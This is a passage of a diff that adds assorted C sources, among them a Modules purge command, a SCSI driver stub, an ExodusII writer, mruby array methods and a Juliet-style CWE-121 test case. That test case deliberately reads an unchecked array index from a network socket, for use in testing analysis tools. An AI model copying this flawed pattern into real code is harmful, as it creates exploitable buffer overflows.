+ ** 									     **
+ **   Exports:		ModuleCmd_Purge					     **
+ ** 									     **
+ **   Notes:								     **
+ ** 									     **
+ ** ************************************************************************ **
+ ****/
+
+/** ** Copyright *********************************************************** **
+ ** 									     **
+ ** Copyright 1991-1994 by John L. Furlan.                      	     **
+ ** see LICENSE.GPL, which must be provided, for details		     **
+ ** 									     ** 
+ ** ************************************************************************ **/
+
+static char Id[] = "@(#)$Id: 7c14ae7dd9ea5b6b1497782b3a24764b84b9883a $";
+static void *UseId[] = { &UseId, Id };
+
+/** ************************************************************************ **/
+/** 				      HEADERS				     **/
+/** ************************************************************************ **/
+
+#include "modules_def.h"
+
+/** ************************************************************************ **/
+/** 				  LOCAL DATATYPES			     **/
+/** ************************************************************************ **/
+
+/** not applicable **/
+
+/** ************************************************************************ **/
+/** 				     CONSTANTS				     **/
+/** ************************************************************************ **/
+
+/** not applicable **/
+
+/** ************************************************************************ **/
+/**				      MACROS				     **/
+/** ************************************************************************ **/
+
+/** not applicable **/
+
+/** ************************************************************************ **/
+/** 				    LOCAL DATA				     **/
+/** ************************************************************************ **/
+
+static	char	module_name[] = "ModuleCmd_Purge.c";	/** File name of this module **/
+
+/** ************************************************************************ **/
+/**				    PROTOTYPES				     **/
+/** ************************************************************************ **/
+
+/** not applicable **/
+
+
+/*++++
+ ** ** Function-Header ***************************************************** **
+ ** 									     **
+ **   Function:		ModuleCmd_Purge					     **
+ ** 									     **
+ **   Description:	Execution of the module-command 'purge'		     **
+ ** 									     **
+ **   First Edition:	1991/10/23					     **
+ ** 									     **
+ **   Parameters:	Tcl_Interp	*interp		Attached Tcl Interp. **
+ **			int		 argc		Number of arguments  **
+ **			char 		*argv[]		Argument list	     **
+ ** 									     **
+ **   Result:		int	TCL_ERROR	Failure			     **
+ **				TCL_OK		Successful operation	     **
+ ** 									     **
+ **   Attached Globals:							     **
+ ** 									     **
+ ** ************************************************************************ **
+ ++++*/
+
+int	ModuleCmd_Purge(	Tcl_Interp	*interp,
+                		int		 argc,
+                		char		*argv[])
+{
+    char	*lmodules = NULL,
+		*cur_module = NULL,
+		*loaded_modules,
+		*unload_argv[ MOD_BUFSIZE];
+    int		 unload_argc = 0,
+    		 status;
+    char        *unload_argv_rev[ MOD_BUFSIZE];
+    int          reverse;
+
+#if WITH_DEBUGGING_MODULECMD
+    fprintf( stderr, "ModuleCmd_Purge(%d):DEBUG: Starting\n", __LINE__);
+#endif
+
+    /**
+     **  Get the list of currently loaded modules from the environment variable
+     **  LOADEDMODULES
+     **/
+    loaded_modules = EMGetEnv( interp, "LOADEDMODULES");
+    if(!loaded_modules || ! *loaded_modules) {
+	    /* nothing to do */
+	    null_free((void *)&loaded_modules);
+	    return( TCL_OK);		/** ---- EXIT (Nothing to list) ---- **/
+    }
+
+    if((char *) NULL == (lmodules = stringer(NULL,0, loaded_modules, NULL))) 
+	if( OK != ErrorLogger( ERR_STRING, LOC, NULL))
+	    return( TCL_ERROR);		/** -------- EXIT (FAILURE) -------- **/
+
+    /**
+     **  Build a NULL terminated list of loaded modules
+     **/
+    for( cur_module = strtok( lmodules, ":");
+         cur_module && unload_argc < MOD_BUFSIZE-1;
+         cur_module = strtok( NULL, ":"))
+        unload_argv[ unload_argc++] = cur_module;
+    
+    unload_argv[ unload_argc] = NULL;
+    
+    for( reverse=0; reverse<unload_argc; reverse++ ) {
+        unload_argv_rev[unload_argc - (reverse + 1)] = unload_argv[reverse]; 
+    }   
+
+    unload_argv_rev[ unload_argc] = NULL;
+ 
+    /**
+     **  Unload 'em all
+     **  We always say the load succeeded.  ModuleCmd_Load will
+     **  output any necessary error messages.
+     **/
+/*  ModuleCmd_Load( interp, 0, unload_argc, unload_argv); */
+    ModuleCmd_Load( interp, 0, unload_argc, unload_argv_rev);
+
+    status = TCL_OK;
+
+    /**
+     **  Free, what has been allocated and pass the load's result to the caller
+     **/
+    null_free((void *) &lmodules);
+
+#if WITH_DEBUGGING_MODULECMD
+    fprintf( stderr, "ModuleCmd_Purge(%d):DEBUG: End\n", __LINE__);
+#endif
+
+    return( status);
+
+} /** End of 'ModuleCmd_Purge' **/
diff --git a/pool/shard001/C/0024083_extendsftf2.c b/pool/shard001/C/0024083_extendsftf2.c
new file mode 100644
index 0000000000000000000000000000000000000000..59a6263db911412499eca49e6096b7df4318bedb
--- /dev/null
+++ b/pool/shard001/C/0024083_extendsftf2.c
@@ -0,0 +1,19 @@
+#include "../../math/reinterpret.h"
+#include <math.h>
+#include <stdint.h>
+
+static uint64_t magnitude_(uint64_t i)
+{
+    if (i >= 0x7FF0000000000000)
+        return 0x7800000000000000 | i >> 4;
+
+    return i ? 0x3C00000000000000 + (i >> 4) : 0;
+}
+
+long double __extendsftf2(float x)
+{
+    uint64_t i = reinterpret(uint64_t, (double)x);
+    uint64_t high = magnitude_(i & INT64_MAX) | (i & 0x8000000000000000);
+
+    return reinterpret(long double, (unsigned __int128)high << 64);
+}
diff --git a/pool/shard001/C/0024085_bvme6000.c b/pool/shard001/C/0024085_bvme6000.c
new file mode 100644
index 0000000000000000000000000000000000000000..d8d887902ac5b0d82920799b63644b332dc5deef
--- /dev/null
+++ b/pool/shard001/C/0024085_bvme6000.c
@@ -0,0 +1,52 @@
+/*
+ * Detection routine for the NCR53c710 based MVME16x SCSI Controllers for Linux.
+ *
+ * Based on work by Alan Hourihane
+ */
+#include <linux/types.h>
+#include <linux/mm.h>
+#include <linux/blk.h>
+#include <linux/sched.h>
+#include <linux/version.h>
+#include <linux/zorro.h>
+
+#include <asm/setup.h>
+#include <asm/page.h>
+#include <asm/pgtable.h>
+#include <asm/bvme6000hw.h>
+#include <asm/irq.h>
+
+#include "scsi.h"
+#include "hosts.h"
+#include "53c7xx.h"
+#include "bvme6000.h"
+
+#include<linux/stat.h>
+
+extern ncr53c7xx_init (Scsi_Host_Template *tpnt, int board, int chip,
+			u32 base, int io_port, int irq, int dma,
+			long long options, int clock);
+
+int bvme6000_scsi_detect(Scsi_Host_Template *tpnt)
+{
+    static unsigned char called = 0;
+    int clock;
+    long long options;
+
+    if (called)
+	return 0;
+    if (!MACH_IS_BVME6000)
+	return 0;
+
+    tpnt->proc_name = "BVME6000";
+
+    options = OPTION_MEMORY_MAPPED|OPTION_DEBUG_TEST1|OPTION_INTFLY|OPTION_SYNCHRONOUS|OPTION_ALWAYS_SYNCHRONOUS|OPTION_DISCONNECT;
+
+    clock = 40000000;	/* 66MHz SCSI Clock */
+
+    ncr53c7xx_init(tpnt, 0, 710, (u32)BVME_NCR53C710_BASE,
+			0, BVME_IRQ_SCSI, DMA_NONE,
+			options, clock);
+    called = 1;
+    return 1;
+}
diff --git a/pool/shard001/C/0024098_expqa.c b/pool/shard001/C/0024098_expqa.c
new file mode 100644
index 0000000000000000000000000000000000000000..2c03e8b2ab725109e838323c05cb8045273dd7f2
--- /dev/null
+++ b/pool/shard001/C/0024098_expqa.c
@@ -0,0 +1,209 @@
+/*
+ * Copyright (c) 1994 Sandia Corporation. Under the terms of Contract
+ * DE-AC04-94AL85000 with Sandia Corporation, the U.S. Governement
+ * retains certain rights in this software.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ * 
+ *     * Redistributions in binary form must reproduce the above
+ *       copyright notice, this list of conditions and the following
+ *       disclaimer in the documentation and/or other materials provided
+ *       with the distribution.  
+ * 
+ *     * Neither the name of Sandia Corporation nor the names of its
+ *       contributors may be used to endorse or promote products derived
+ *       from this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * 
+ */
+/*****************************************************************************
+*
+* expqa = ex_put_qa
+*
+* author - Sandia National Laboratories
+*          Larry A. Schoof - Original
+*          James A. Schutt - 8 byte float and standard C definitions
+*          Vic Yarberry    - Added headers and error logging
+*
+*          
+* environment - UNIX
+*
+* entry conditions - 
+*   input parameters:
+*       int     exoid                   exodus file id
+*       int     num_qa_records          number of qa records to be written
+*       char*   qa_record[][4])         qa record array
+*
+* exit conditions - 
+*
+* revision history - 
+*
+*  Id
+*
+*****************************************************************************/
+
+#include "exodusII.h"
+#include "exodusII_int.h"
+#include <string.h>
+
+/*
+ * writes the QA records to the database
+ */
+
+int ex_put_qa (int   exoid,
+               int   num_qa_records,
+               char* qa_record[][4])
+{
+   int i, j, strdim, num_qa_dim, varid, n4dim;
+   int dims[3];
+   long start[3], count[3];
+   char errmsg[MAX_ERR_LENGTH];
+
+   exerrval = 0; /* clear error code */
+
+/* only do this if there are records */
+
+   if (num_qa_records > 0)
+   {
+/*   inquire previously defined dimensions  */
+
+     if ((strdim = ncdimid (exoid, DIM_STR)) == -1)
+     {
+       exerrval = ncerr;
+       sprintf(errmsg,
+              "Error: failed to locate string length in file id %d", exoid);
+       ex_err("ex_put_qa",errmsg,exerrval);
+       return (EX_FATAL);
+     }
+
+     if ((n4dim = ncdimid (exoid, DIM_N4)) == -1)
+     {
+       exerrval = ncerr;
+       sprintf(errmsg,
+              "Error: failed to locate record length in file id %d", exoid);
+       ex_err("ex_put_qa",errmsg,exerrval);
+       return (EX_FATAL);
+     }
+
+
+/*   put file into define mode  */
+
+     if (ncredef (exoid) == -1)
+     {
+       exerrval = ncerr;
+       sprintf(errmsg,
+              "Error: failed to put file id %d into define mode", exoid);
+       ex_err("ex_put_qa",errmsg,exerrval);
+       return (EX_FATAL);
+     }
+
+
+/*   define dimensions */
+
+     if ((num_qa_dim = ncdimdef (exoid,DIM_NUM_QA,(long)num_qa_records)) == -1)
+     {
+       if (ncerr == NC_ENAMEINUSE)      /* duplicate entry? */
+       {
+         exerrval = ncerr;
+         sprintf(errmsg,
+           "Error: qa records already exist in file id %d", exoid);
+         ex_err("ex_put_qa",errmsg,exerrval);
+       }
+       else
+       {
+         exerrval = ncerr;
+         sprintf(errmsg,
+           "Error: failed to define qa record array size in file id %d", exoid);
+         ex_err("ex_put_qa",errmsg,exerrval);
+       }
+
+       goto error_ret;         /* exit define mode and return */
+     }
+
+
+
+/*   define variable  */
+
+     dims[0] = num_qa_dim;
+     dims[1] = n4dim;
+     dims[2] = strdim;
+
+     if ((varid = ncvardef (exoid, VAR_QA_TITLE, NC_CHAR, 3, dims)) == -1)
+     {
+       exerrval = ncerr;
+       sprintf(errmsg,
+              "Error: failed to define qa record array in file id %d", exoid);
+       ex_err("ex_put_qa",errmsg,exerrval);
+       goto error_ret;         /* exit define mode and return */
+     }
+
+
+/*   leave define mode  */
+
+     if (ncendef (exoid) == -1)
+     {
+       exerrval = ncerr;
+       sprintf(errmsg,
+              "Error: failed to complete definition in file id %d", exoid);
+       ex_err("ex_put_qa",errmsg,exerrval);
+       return (EX_FATAL);
+     }
+
+
+/*   write out QA records */
+
+     for (i=0; i<num_qa_records; i++)
+     {
+       for (j=0; j<4; j++)
+       {
+         start[0] = i;
+         start[1] = j;
+         start[2] = 0;
+
+         count[0] = 1;
+         count[1] = 1;
+         count[2] = strlen(qa_record[i][j]) + 1;
+
+         if (ncvarput (exoid, varid, start, count,
+                       (void*) qa_record[i][j]) == -1)
+         {
+           exerrval = ncerr;
+           sprintf(errmsg,
+                  "Error: failed to store qa record in file id %d", exoid);
+           ex_err("ex_put_qa",errmsg,exerrval);
+           return (EX_FATAL);
+         }
+
+       }
+     }
+   }
+
+   return (EX_NOERR);
+
+/* Fatal error: exit definition mode and return */
+error_ret:
+       if (ncendef (exoid) == -1)     /* exit define mode */
+       {
+         sprintf(errmsg,
+                "Error: failed to complete definition for file id %d",
+                 exoid);
+         ex_err("ex_put_qa",errmsg,exerrval);
+       }
+       return (EX_FATAL);
+}
diff --git a/pool/shard001/C/0024099_pr34648.c b/pool/shard001/C/0024099_pr34648.c
new file mode 100644
index 0000000000000000000000000000000000000000..90a88b90361f1285f024fd26131620da605e3300
--- /dev/null
+++ b/pool/shard001/C/0024099_pr34648.c
@@ -0,0 +1,39 @@
+/* PR tree-optimization/34648 */
+
+/* { dg-options "-fexceptions" } */
+/* { dg-require-effective-target exceptions } */
+
+extern const unsigned short int **bar (void) __attribute__ ((const));
+const char *a;
+int b;
+char c;
+
+char
+foo (int *x)
+{
+  char r;
+
+  c = '\0';
+  if (!b)
+    {
+      while (((*bar ())[a[*x]] & 0x2000) != 0)
+        (*x)++;
+      if (a[++(*x)] == '-')
+        {
+          (*x)++;
+          if (a[*x] && !((*bar ())[a[*x]] & 0x2000))
+            return '?';
+        }
+      if (!a[*x] || ((*bar ())[a[*x]] & 0x2000))
+        {
+          while (((*bar ())[a[*x]] & 0x2000))
+            ++(*x);
+          return '\0';
+        }
+    }
+
+  r = a[*x];
+  b = a[*x] && !((*bar ())[a[*x]] & 0x2000);
+  return r;
+}
+
diff --git a/pool/shard001/C/0024100_time.c b/pool/shard001/C/0024100_time.c
new file mode 100644
index 0000000000000000000000000000000000000000..6f66826b564c44867148d2ff499b728e471350b4
--- /dev/null
+++ b/pool/shard001/C/0024100_time.c
@@ -0,0 +1,21 @@
+#include <stdio.h>
+#include <sys/time.h>
+
+int main(int argc, char *argv[])
+{
+    clock_t start, end;
+    start = clock();
+
+	struct timeval tseed;
+	gettimeofday(&tseed, NULL);
+	printf("%i, %i\n", sizeof(time_t), sizeof(suseconds_t));
+	printf("%#x\t %#x\t %d\n", tseed.tv_sec, tseed.tv_usec, time(0));
+	printf("%#x\n", tseed.tv_sec ^ tseed.tv_usec);
+
+    /* “开启这个程序进程”到“程序中调用clock()函数”时之间的CPU时钟计时单元（clock tick）数
+     * CLOCKS_PER_SEC，它用来表示一秒钟会有多少个时钟计时单元
+     */
+    end = clock();
+    printf("%ld \t %lu\n", start, (end - start) / CLOCKS_PER_SEC);
+	return 0;
+}
diff --git a/pool/shard001/C/0024110_profile.c b/pool/shard001/C/0024110_profile.c
new file mode 100644
index 0000000000000000000000000000000000000000..8f8f68bdabcc9444c3d7f715b5489beccbfe3651
--- /dev/null
+++ b/pool/shard001/C/0024110_profile.c
@@ -0,0 +1,112 @@
+#include <whitgl/logging.h>
+#include <whitgl/profile.h>
+#include <whitgl/sys.h>
+
+#define GLEW_STATIC
+#include <GL/glew.h>
+
+
+typedef struct
+{
+	const char* name;
+	whitgl_float total;
+} whitgl_profile_event;
+static const whitgl_profile_event whitgl_profile_event_zero = {NULL,0};
+#define MAX_EVENTS (16)
+whitgl_profile_event gpu_events[MAX_EVENTS];
+whitgl_int next_gpu_event;
+
+whitgl_float _frame_start;
+whitgl_float _frame_update;
+whitgl_float _frame_total;
+whitgl_int _frames;
+GLuint _front_queries[MAX_EVENTS];
+GLuint _back_queries[MAX_EVENTS];
+whitgl_bool _front;
+whitgl_bool _first;
+whitgl_bool _should_report;
+
+#define FRAMES_TO_COUNT (60)
+
+void whitgl_profile_init()
+{
+	glGenQueries(MAX_EVENTS, _front_queries);
+	glGenQueries(MAX_EVENTS, _back_queries);
+	_first = true;
+	_front = true;
+	_should_report = false;
+}
+void whitgl_profile_start_frame()
+{
+	_frame_start = whitgl_sys_get_time();
+}
+void whitgl_profile_start_drawing()
+{
+	_frame_update += whitgl_sys_get_time()-_frame_start;
+	next_gpu_event = 0;
+	whitgl_profile_gpu_section("start_drawing");
+}
+
+void whitgl_profile_gpu_section(const char* name)
+{
+	if(next_gpu_event > 0)
+		glEndQuery(GL_TIME_ELAPSED);
+	gpu_events[next_gpu_event].name = name;
+	glBeginQuery(GL_TIME_ELAPSED, _front ? _front_queries[next_gpu_event] : _back_queries[next_gpu_event]);
+	next_gpu_event++;
+}
+
+void whitgl_profile_end_frame()
+{
+	glEndQuery(GL_TIME_ELAPSED);
+	if(!_first)
+	{
+		GLuint* query_array = !_front ? _front_queries : _back_queries;
+		int done = 0;
+		while (!done)
+		{
+			glGetQueryObjectiv(query_array[next_gpu_event-1], GL_QUERY_RESULT_AVAILABLE, &done);
+		}
+		whitgl_int i;
+		for(i=0; i<next_gpu_event; i++)
+		{
+			GLuint64 timer;
+			glGetQueryObjectui64v(query_array[i], GL_QUERY_RESULT, &timer);
+			gpu_events[i].total += timer / 1000000000.0;
+		}
+	}
+	_front = !_front;
+	_first = false;
+	_frame_total += whitgl_sys_get_time()-_frame_start;
+	_frames++;
+	if(_frames >= FRAMES_TO_COUNT)
+	{
+		whitgl_float target = 1.0/60.0;
+		_frames -= FRAMES_TO_COUNT;
+		whitgl_int i;
+		whitgl_float average_gpu = 0;
+		for(i=0; i<next_gpu_event; i++)
+		{
+			whitgl_float event_avg = gpu_events[i].total/FRAMES_TO_COUNT;
+			average_gpu += event_avg;
+			if(_should_report)
+				WHITGL_LOG("%.1f%% %s", (event_avg/target)*100, gpu_events[i].name);
+			gpu_events[i] = whitgl_profile_event_zero;
+		}
+		whitgl_float average_total = _frame_total/FRAMES_TO_COUNT;
+		whitgl_float average_update = _frame_update/FRAMES_TO_COUNT;
+		if(_should_report)
+			WHITGL_LOG("update %.2f%% gpu %.2f%% total %.2f%%", (average_update/target)*100, (average_gpu/target)*100, (average_total/target)*100);
+		_frame_update = 0;
+		_frame_total = 0;
+	}
+}
+void whitgl_profile_should_report(whitgl_bool report)
+{
+	_should_report = report;
+}
+void whitgl_profile_shutdown()
+{
+	glDeleteQueries(MAX_EVENTS, _front_queries);
+	glDeleteQueries(MAX_EVENTS, _back_queries);
+}
diff --git a/pool/shard001/C/0024115_CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67a.c b/pool/shard001/C/0024115_CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67a.c
new file mode 100644
index 0000000000000000000000000000000000000000..bd5e0bf7787472646d699226edcdb1bb7f4fa414
--- /dev/null
+++ b/pool/shard001/C/0024115_CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67a.c
@@ -0,0 +1,265 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67a.c
+Label Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE129.label.xml
+Template File: sources-sinks-67a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 121 Stack Based Buffer Overflow
+ * BadSource: listen_socket Read data using a listen socket (server side)
+ * GoodSource: Larger than zero but less than 10
+ * Sinks:
+ *    GoodSink: Ensure the array index is valid
+ *    BadSink : Improperly check the array index by not checking the upper bound
+ * Flow Variant: 67 Data flow: data passed in a struct from one function to another in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#ifdef _WIN32
+#include <winsock2.h>
+#include <windows.h>
+#include <direct.h>
+#pragma comment(lib, "ws2_32") /* include ws2_32.lib when linking */
+#define CLOSE_SOCKET closesocket
+#else
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#define INVALID_SOCKET -1
+#define SOCKET_ERROR -1
+#define CLOSE_SOCKET close
+#define SOCKET int
+#endif
+
+#define TCP_PORT 27015
+#define LISTEN_BACKLOG 5
+#define CHAR_ARRAY_SIZE (3 * sizeof(data) + 2)
+
+typedef struct _CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType
+{
+    int structFirst;
+} CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType;
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67b_badSink(CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType myStruct);
+
+void CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_bad()
+{
+    int data;
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType myStruct;
+    /* Initialize data */
+    data = -1;
+    {
+#ifdef _WIN32
+        WSADATA wsaData;
+        int wsaDataInit = 0;
+#endif
+        int recvResult;
+        struct sockaddr_in service;
+        SOCKET listenSocket = INVALID_SOCKET;
+        SOCKET acceptSocket = INVALID_SOCKET;
+        char inputBuffer[CHAR_ARRAY_SIZE];
+        do
+        {
+#ifdef _WIN32
+            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
+            {
+                break;
+            }
+            wsaDataInit = 1;
+#endif
+            /* POTENTIAL FLAW: Read data using a listen socket */
+            listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+            if (listenSocket == INVALID_SOCKET)
+            {
+                break;
+            }
+            memset(&service, 0, sizeof(service));
+            service.sin_family = AF_INET;
+            service.sin_addr.s_addr = INADDR_ANY;
+            service.sin_port = htons(TCP_PORT);
+            if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
+            {
+                break;
+            }
+            if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
+            {
+                break;
+            }
+            acceptSocket = accept(listenSocket, NULL, NULL);
+            if (acceptSocket == SOCKET_ERROR)
+            {
+                break;
+            }
+            /* Abort on error or the connection was closed */
+            recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
+            if (recvResult == SOCKET_ERROR || recvResult == 0)
+            {
+                break;
+            }
+            /* NUL-terminate the string */
+            inputBuffer[recvResult] = '\0';
+            /* Convert to int */
+            data = atoi(inputBuffer);
+        }
+        while (0);
+        if (listenSocket != INVALID_SOCKET)
+        {
+            CLOSE_SOCKET(listenSocket);
+        }
+        if (acceptSocket != INVALID_SOCKET)
+        {
+            CLOSE_SOCKET(acceptSocket);
+        }
+#ifdef _WIN32
+        if (wsaDataInit)
+        {
+            WSACleanup();
+        }
+#endif
+    }
+    myStruct.structFirst = data;
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67b_badSink(myStruct);
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodG2B uses the GoodSource with the BadSink */
+void CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67b_goodG2BSink(CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType myStruct);
+
+static void goodG2B()
+{
+    int data;
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType myStruct;
+    /* Initialize data */
+    data = -1;
+    /* FIX: Use a value greater than 0, but less than 10 to avoid attempting to
+     * access an index of the array in the sink that is out-of-bounds */
+    data = 7;
+    myStruct.structFirst = data;
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67b_goodG2BSink(myStruct);
+}
+
+/* goodB2G uses the BadSource with the GoodSink */
+void CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67b_goodB2GSink(CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType myStruct);
+
+static void goodB2G()
+{
+    int data;
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_structType myStruct;
+    /* Initialize data */
+    data = -1;
+    {
+#ifdef _WIN32
+        WSADATA wsaData;
+        int wsaDataInit = 0;
+#endif
+        int recvResult;
+        struct sockaddr_in service;
+        SOCKET listenSocket = INVALID_SOCKET;
+        SOCKET acceptSocket = INVALID_SOCKET;
+        char inputBuffer[CHAR_ARRAY_SIZE];
+        do
+        {
+#ifdef _WIN32
+            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
+            {
+                break;
+            }
+            wsaDataInit = 1;
+#endif
+            /* POTENTIAL FLAW: Read data using a listen socket */
+            listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+            if (listenSocket == INVALID_SOCKET)
+            {
+                break;
+            }
+            memset(&service, 0, sizeof(service));
+            service.sin_family = AF_INET;
+            service.sin_addr.s_addr = INADDR_ANY;
+            service.sin_port = htons(TCP_PORT);
+            if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
+            {
+                break;
+            }
+            if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
+            {
+                break;
+            }
+            acceptSocket = accept(listenSocket, NULL, NULL);
+            if (acceptSocket == SOCKET_ERROR)
+            {
+                break;
+            }
+            /* Abort on error or the connection was closed */
+            recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
+            if (recvResult == SOCKET_ERROR || recvResult == 0)
+            {
+                break;
+            }
+            /* NUL-terminate the string */
+            inputBuffer[recvResult] = '\0';
+            /* Convert to int */
+            data = atoi(inputBuffer);
+        }
+        while (0);
+        if (listenSocket != INVALID_SOCKET)
+        {
+            CLOSE_SOCKET(listenSocket);
+        }
+        if (acceptSocket != INVALID_SOCKET)
+        {
+            CLOSE_SOCKET(acceptSocket);
+        }
+#ifdef _WIN32
+        if (wsaDataInit)
+        {
+            WSACleanup();
+        }
+#endif
+    }
+    myStruct.structFirst = data;
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67b_goodB2GSink(myStruct);
+}
+
+void CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_good()
+{
+    goodG2B();
+    goodB2G();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+   its own for testing or for building a binary to use in testing binary
+   analysis tools. It is not used when compiling all the testcases as one
+   application, which is how source code analysis tools are tested. */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE121_Stack_Based_Buffer_Overflow__CWE129_listen_socket_67_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0024117_array.c b/pool/shard001/C/0024117_array.c
new file mode 100644
index 0000000000000000000000000000000000000000..169f968f952d395af07085737d6ef7b0ed4eff39
--- /dev/null
+++ b/pool/shard001/C/0024117_array.c
@@ -0,0 +1,246 @@
+#include <mruby.h>
+#include <mruby/value.h>
+#include <mruby/array.h>
+#include <mruby/range.h>
+#include <mruby/hash.h>
+
+/*
+ *  call-seq:
+ *     ary.assoc(obj)   -> new_ary  or  nil
+ *
+ *  Searches through an array whose elements are also arrays
+ *  comparing _obj_ with the first element of each contained array
+ *  using obj.==.
+ *  Returns the first contained array that matches (that
+ *  is, the first associated array),
+ *  or +nil+ if no match is found.
+ *  See also <code>Array#rassoc</code>.
+ *
+ *     s1 = [ "colors", "red", "blue", "green" ]
+ *     s2 = [ "letters", "a", "b", "c" ]
+ *     s3 = "foo"
+ *     a  = [ s1, s2, s3 ]
+ *     a.assoc("letters")  #=> [ "letters", "a", "b", "c" ]
+ *     a.assoc("foo")      #=> nil
+ */
+
+static mrb_value
+mrb_ary_assoc(mrb_state *mrb, mrb_value ary)
+{
+  mrb_int i;
+  mrb_value v, k;
+
+  mrb_get_args(mrb, "o", &k);
+
+  for (i = 0; i < RARRAY_LEN(ary); ++i) {
+    v = mrb_check_array_type(mrb, RARRAY_PTR(ary)[i]);
+    if (!mrb_nil_p(v) && RARRAY_LEN(v) > 0 &&
+        mrb_equal(mrb, RARRAY_PTR(v)[0], k))
+      return v;
+  }
+  return mrb_nil_value();
+}
+
+/*
+ *  call-seq:
+ *     ary.rassoc(obj) -> new_ary or nil
+ *
+ *  Searches through the array whose elements are also arrays. Compares
+ *  _obj_ with the second element of each contained array using
+ *  <code>==</code>. Returns the first contained array that matches. See
+ *  also <code>Array#assoc</code>.
+ *
+ *     a = [ [ 1, "one"], [2, "two"], [3, "three"], ["ii", "two"] ]
+ *     a.rassoc("two")    #=> [2, "two"]
+ *     a.rassoc("four")   #=> nil
+ */
+
+static mrb_value
+mrb_ary_rassoc(mrb_state *mrb, mrb_value ary)
+{
+  mrb_int i;
+  mrb_value v, value;
+
+  mrb_get_args(mrb, "o", &value);
+
+  for (i = 0; i < RARRAY_LEN(ary); ++i) {
+    v = RARRAY_PTR(ary)[i];
+    if (mrb_type(v) == MRB_TT_ARRAY &&
+        RARRAY_LEN(v) > 1 &&
+        mrb_equal(mrb, RARRAY_PTR(v)[1], value))
+      return v;
+  }
+  return mrb_nil_value();
+}
+
+/*
+ *  call-seq:
+ *     ary.at(index)   ->   obj  or nil
+ *
+ *  Returns the element at _index_. A
+ *  negative index counts from the end of +self+.  Returns +nil+
+ *  if the index is out of range. See also <code>Array#[]</code>.
+ *
+ *     a = [ "a", "b", "c", "d", "e" ]
+ *     a.at(0)     #=> "a"
+ *     a.at(-1)    #=> "e"
+ */
+
+static mrb_value
+mrb_ary_at(mrb_state *mrb, mrb_value ary)
+{
+  mrb_int pos;
